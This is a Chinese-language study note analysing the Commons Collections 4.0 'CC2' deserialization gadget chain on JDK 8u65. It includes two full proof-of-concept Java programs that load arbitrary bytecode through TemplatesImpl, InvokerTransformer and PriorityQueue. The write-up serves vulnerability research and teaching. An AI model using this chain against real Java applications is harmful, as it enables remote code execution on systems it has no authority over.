分析版本
Commons Collections 4.0
JDK 8u65
环境配置参考JAVA安全初探(三):CC1链全分析
分析过程
CC2是在CC4的基础上做了一点改动,和之前CC3结合CC1 InvokerTransformer一样的。CC3利用链分析
因为TemplatesImpl是可序列化的,利用反射把TemplatesImpl参数控制好之后,直接用InvokerTransformer执行TemplatesImpl.newTransformer,就可以调用defineClass,实现任意命令执行了。(不再使用TrAXFilter)
更新Poc
public class cc2 {public static void main(String[] args) throws Exception {//CC2byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Test.class"));byte[][] codes = {code};TemplatesImpl templates = new TemplatesImpl();Class templatesClass = templates.getClass();Field name = templatesClass.getDeclaredField("_name");name.setAccessible(true);name.set(templates, "pass");Field bytecodes = templatesClass.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(templates, codes);Field tfactory = templatesClass.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates, new TransformerFactoryImpl());Transformer[] transformers = new Transformer[] {new ConstantTransformer(templates),new InvokerTransformer("newTransformer",null, null)};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//chainedTransformer.transform(1);TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); //改为ConstantTransformer,把利用链断掉PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);priorityQueue.add(1);priorityQueue.add(1);///Class transformingComparatorClass = TransformingComparator.class; //也可以Class transformingComparatorClass = transformingComparator.getClass();Field transformer = transformingComparatorClass.getDeclaredField("transformer");transformer.setAccessible(true);transformer.set(transformingComparator, chainedTransformer);//cc4.serialize(priorityQueue);cc4.unserialize("ss.ser");}
}
补充
关于templates传入还有一种方法就是不用new ConstantTransformer(templates)传值,而是用priorityQueue.add(templates);
public class cc2 {public static void main(String[] args) throws Exception {//CC2byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Test.class"));byte[][] codes = {code};TemplatesImpl templates = new TemplatesImpl();Class templatesClass = templates.getClass();Field name = templatesClass.getDeclaredField("_name");name.setAccessible(true);name.set(templates, "pass");Field bytecodes = templatesClass.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(templates, codes);Field tfactory = templatesClass.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates, new TransformerFactoryImpl());InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);//chainedTransformer.transform(1);TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); //改为ConstantTransformer,把利用链断掉PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);priorityQueue.add(templates);priorityQueue.add(1);///Class transformingComparatorClass = TransformingComparator.class; //也可以Class transformingComparatorClass = transformingComparator.getClass();Field transformer = transformingComparatorClass.getDeclaredField("transformer");transformer.setAccessible(true);transformer.set(transformingComparator, invokerTransformer);//cc4.serialize(priorityQueue);cc4.unserialize("ss.ser");}
}
priorityQueue.add(templates);会执行到下图方法
此方法是直接给transformer方法参数传值templates(CC1中ConstantTransformer的引入是为了解决无法给InvokerTransformer方法传值的问题,而这里是可以控制传值,所以我们可以不用ConstantTransformer)
还存在一个问题如果,Poc这样传值会发现,无法弹出计算器
priorityQueue.add(templates);priorityQueue.add(1);
可以对比上图正确的Poc,下图代码执行时去找1的newTransformer方法,找不到抛出了错误。在执行第二行代码之前,程序就结束了。